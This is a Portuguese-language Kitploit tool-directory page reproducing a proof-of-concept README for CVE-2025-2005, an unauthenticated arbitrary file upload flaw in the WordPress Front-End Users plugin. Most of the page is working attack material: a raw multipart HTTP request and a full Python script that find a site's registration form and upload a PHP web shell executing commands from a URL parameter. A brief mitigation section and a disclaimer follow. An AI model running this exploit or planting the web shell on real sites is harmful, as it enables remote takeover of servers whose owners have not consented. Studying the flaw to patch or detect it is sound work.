Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-2005 — Exploit de prova de conceito para CVE-2025-2005, uma vulnerabilidade de upload arbitrário de arquivos no WordPress Front-End Users Plugin (<=3.2.32). Inclui scripts de exploit manuais em HTTP e Python para fazer upload de webshells PHP para formulários de registro não autenticados. | Kitploit
Ferramentas/GitHubGitHub/h4ckxel/cve-2025-2005
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubh4ckxel/cve-2025-2005

CVE-2025-2005

Ver Repositório
13há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

Sobre

Exploit de prova de conceito para CVE-2025-2005, uma vulnerabilidade de upload arbitrário de arquivos no WordPress Front-End Users Plugin (<=3.2.32). Inclui scripts de exploit manuais em HTTP e Python para fazer upload de webshells PHP para formulários de registro não autenticados.

Compartilhar

CVE-2025-2005 - Pwn no WordPress Front-End Users Plugin

By h4ckxel

Informação Rápida

  • Plugin: Front-End Users
  • Versões vulneráveis: <= 3.2.32
  • Tipo de falha: Arbitrary File Upload
  • CVSS Score: 10 (Crítico)
  • Risco: Permite a qualquer atacante sem autenticação enviar arquivos arbitrários (ex. web shells PHP) e executá-los remotamente, comprometendo todo o servidor.

Descrição do Bug

Este exploit se aproveita da validação deficiente do upload de arquivos nos formulários de registro do plugin. Não há filtros de extensão, verificações de autenticação nem saneamento de tipos de arquivo. Um atacante pode enviar uma requisição multipart/form-data a qualquer formulário de registro e inserir um .php malicioso em um campo customizado (ex. xxploit).

Embora os arquivos enviados vão para wp-content/uploads/ewd_feup_uploads/ com um hash aleatório no nome, eles continuam sendo executáveis se PHP estiver habilitado no diretório.


PoC - Manual Exploit

root@kitploit:~
POST /wordpress/2025/04/02/test/ HTTP/1.1
Host: 192.168.100.74:888
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-check"
14bacb882cb211e10b2b3e07bfe096ef12a092dc

------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-time"
1743554029

------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-action"
register

------WebKitFormBoundary
Content-Disposition: form-data; name="Username"
Nxploited

------WebKitFormBoundary
Content-Disposition: form-data; name="xxploit"; filename="shell.php"
Content-Type: application/x-php

<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>
------WebKitFormBoundary--

O arquivo é salvo em:

root@kitploit:~
/wp-content/uploads/ewd_feup_uploads/[HASH_ALEATORIO].php

O nome muda, mas pode ser encontrado manualmente ou com um scanner.


PoC - Exploit em Python

root@kitploit:~
import requests
from bs4 import BeautifulSoup
import argparse
from urllib.parse import urljoin

requests.packages.urllib3.disable_warnings()
session = requests.Session()
session.verify = False

parser = argparse.ArgumentParser(description="Upload shell to vulnerable WordPress Front-End Users Plugin")
parser.add_argument("--url", "-u", required=True, help="URL base del sitio target (ej. http://site.com/)")
parser.add_argument("--newuser", "-nu", required=True, help="Usuario para registrar")
parser.add_argument("--newpassword", "-np", required=True, help="Password del nuevo usuario")
args = parser.parse_args()

base_url = args.url.rstrip("/")
username = args.newuser
password = args.newpassword

print(f"[*] Scaneando: {base_url}")

try:
    response = session.get(base_url, timeout=10)
    soup = BeautifulSoup(response.text, 'html.parser')
except Exception as e:
    print("[-] Error al acceder al sitio.")
    exit()

page_links = {urljoin(base_url, a['href']) for a in soup.find_all("a", href=True)}
print(f"[*] {len(page_links)} páginas encontradas...")

registration_url = None
for link in page_links:
    try:
        page = session.get(link, timeout=10)
        if "ewd-feup-register-form" in page.text:
            registration_url = link
            print(f"[+] Form de registro encontrado en: {registration_url}")
            break
    except:
        continue

if not registration_url:
    print("[-] No se encontró el form automáticamente. Intenta manualmente con --url.")
    exit()

shell_content = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>"
data = {
    'ewd-feup-action': 'register',
    'Username': username,
    'User_Password': password,
    'Confirm_User_Password': password,
    'Register_Submit': 'Register'
}
files = {'file': ('shell.php', shell_content, 'application/x-php')}

print("[*] Subiendo shell a:", registration_url)
upload_response = session.post(registration_url, data=data, files=files)

if upload_response.status_code == 200:
    print("[+] Upload completado.")
else:
    print("[-] Falló la subida.")

Solução

Atualizar o plugin para a última versão segura (se existir), ou desativá-lo temporariamente se não houver patch. Além disso:

  • Bloquear a execução de PHP em wp-content/uploads/.
  • Implementar validações de extensão e tipo de arquivo no formulário.
  • Restringir uploads apenas a usuários autenticados.

Disclaimer

Este PoC é apenas para educação e testes de segurança autorizados. Não seja um lamer, use isso com responsabilidade e apenas em ambientes onde você tenha permissão.

Baixar ferramenta